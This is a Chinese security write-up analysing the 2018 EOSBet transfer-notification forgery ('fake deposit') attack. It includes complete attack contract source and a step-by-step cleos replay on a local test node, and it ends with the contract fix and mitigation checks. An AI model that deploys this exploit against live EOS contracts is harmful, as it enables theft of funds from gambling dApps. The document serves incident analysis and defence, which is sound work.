• 150-2922-9543
  • support@noneage.com

EOS dApp 漏洞盘点分析-EOSBet 假充值漏洞2


Written by WeaponX@零时科技

本文所有过程均在本地测试节点完成

文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis

0x00 背景

EOSBet在2018年10月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗142,845 EOS(折合人民币510万,10月14日价格)。

0x01 技术分析

由于EOSBet官方在2018.09.14被黑客攻击后,将源代码开源至gitlab上,经过分析EOSBet官方合约eosbetdice11的转账记录,我们初步判断黑客可能是利用了转账通知伪造攻击。我们就直接分析源码来寻找安全问题。

首先,我们审查一下EOSIO_BAI_EX

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
auto self = receiver; \
if( code == self || code == N(eosio.token)) { \
if( action == N(transfer)){ \
eosio_assert( code == N(eosio.token), "Must transfer EOS"); \
} \
TYPE thiscontract( self ); \
switch( action ) { \
EOSIO_API( TYPE, MEMBERS ) \
} \
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
} \
} \
}

这个代码在2018年9月14日被黑客攻击后已经修复相关漏洞,验证了transfer的调用者只能是eosio.token,也就是说只有支付了eosio.token发布的EOS才能进行相关的游戏操作。

这块代码是没有问题的。然后,我们审查一下transfer函数

1
2
3
4
5
6
7
8
9
10
void transfer(uint64_t sender, uint64_t receiver) {

auto transfer_data = unpack_action_data<st_transfer>();

if (transfer_data.from == _self || transfer_data.from == N(eosbetcasino)){
return;
}

...
}

验证转账账户不是自己或转账账户不是eosbetcasino才能进行相关的游戏操作。问题就出在这,EOSBet没有验证转账消息是否和自己有关就开始了相关操作。

黑客可以通过创建两个子账户AB,只要给B账户部署以下合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <utility>
#include <vector>
#include <string>
#include <eosiolib/eosio.hpp>
#include <eosiolib/time.hpp>
#include <eosiolib/asset.hpp>
#include <eosiolib/contract.hpp>
#include <eosiolib/types.hpp>
#include <eosiolib/transaction.hpp>
#include <eosiolib/crypto.h>
#include <boost/algorithm/string.hpp>

using eosio::asset;
using eosio::permission_level;
using eosio::action;
using eosio::print;
using eosio::name;
using eosio::unpack_action_data;
using eosio::symbol_type;
using eosio::transaction;
using eosio::time_point_sec;


class attack : public eosio::contract {
public:
attack(account_name self):eosio::contract(self)
{}
//@abi action
void transfer(account_name from, account_name to, asset quantity, std::string memo) {
if(from == _self || to != _self)
return;
require_recipient(N(eosbetdice11));
}
};

#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
auto self = receiver; \
if( code == self || code == N(eosio.token)) { \
if( action == N(transfer)){ \
eosio_assert( code == N(eosio.token), "Must transfer EOS"); \
} \
TYPE thiscontract( self ); \
switch( action ) { \
EOSIO_API( TYPE, MEMBERS ) \
} \
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
} \
} \
}

EOSIO_ABI_EX( attack,
(transfer)
)

就可以子账号间的转账A->B时将转账通知recipient抄送给eosbetdice11,进行相关的抽奖游戏且不用消耗任何的EOS,简单来说就是输了不用赔钱,赢了还能赚钱。

0x02 攻击复盘

创建eosio.token账户

1
cleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV

部署eosio.token合约并初始化

1
2
3
4
# 部署合约
cleos set contract eosio.token /home/user/contracts/eosio.token -p eosio
# 初始化合约
cleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token

创建游戏账户、开奖账户和攻击者账户

1
2
3
4
5
6
#创建游戏账户和开奖账户
cleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
#创建攻击者账户
cleos create account eosio user EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk

编译攻击者合约并部署

1
2
3
4
5
#编译攻击合约
eosiocpp -o attacker.wast attacker.cpp
eosiocpp -g attacker.abi attacker.cpp
#部署攻击合约
cleos set contract attacker /home/user/contract/attacker -p attacker

设置账户随机权限和开奖权限

1
2
3
4
5
#设置权限
cleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner
cleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner
#设置开奖权限
cleos set action permission eosbetcasino eosbetdice11 resolvebet random

向相关账户冲入代币

1
2
3
4
#往相关账户充值
cleos push action eosio.token issue '["user", "100000.0000 EOS", "memo"]' -p eosio@active
cleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active
cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active

部署游戏合约并初始化

1
2
3
4
#部署游戏合约
cleos set contract eosbetdice11 /home/user/contracts/eosbetdice
#初始化游戏合约
cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino

模拟黑客发起攻击

1
2
#发起攻击
cleos push action eosio.token transfer '["user", "attacker", "10.0000 EOS", "88-attacker-attacker"]' -p user

可以看到,因为黑客的attacker合约require_recipient(N(eosbetdice11))eosio.token又将转账通知发送给了eosbetdice11

1
2
#查询抽奖订单
cleos get table eosbetdice11 eosbetdice11 activebets

查询相关账户的余额

1
2
3
cleos get currency balance eosio.token user EOS
cleos get currency balance eosio.token attacker EOS
cleos get currency balance eosio.token eosbetdice11 EOS

可见黑客控制的账户总余额没有变化,EOSBet账户金额也没有变化,却生成了游戏订单。

对订单签名并开奖

1
2
3
4
5
#对订单签名
node sign.js
#开奖
cleos push action eosbetdice11 resolvebet '["4601087045072102575","SIG_K1_KBSXxckQiZYULG5dMrx2tYWfxPZBCZrCE9FRmhWofoeLQTW5WDubaMdCndc2dVSquHeUeQBG8d9dtaAec6BUxsmCnmSGFh"]' -p
eosbetcasino@random

开奖成功,黑客中奖

0x03 后记

EOSBet官方在受到攻击后做了以下加固,在transfer函数中对转账的付款人和收款人做了限制,必须 有一项是合约本身。也就是说,转账和自身合约有关的才会去处理。

1
eosio_assert(transfer_data.from == _self || transfer_data.to == _self, “Must be incoming or outgoing transfer”);

至此,EOSBet才正确的修复了假充值漏洞。

0x04 修复方案

零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:

  • 通知是否来自eosio.token,即只处理eosio.token发送的通知

    1
    eosio_assert(code == N(eosio.token), "Must transfer from eosio.token");
  • 转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知

    1
    eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");

0x05 Refer

https://medium.com/@eosbetcasino/eosbet-statement-on-hack-and-1st-dividend-distribution-a5c9aa617eaf

https://gitlab.com/EOSBetCasino/eosbetdice_public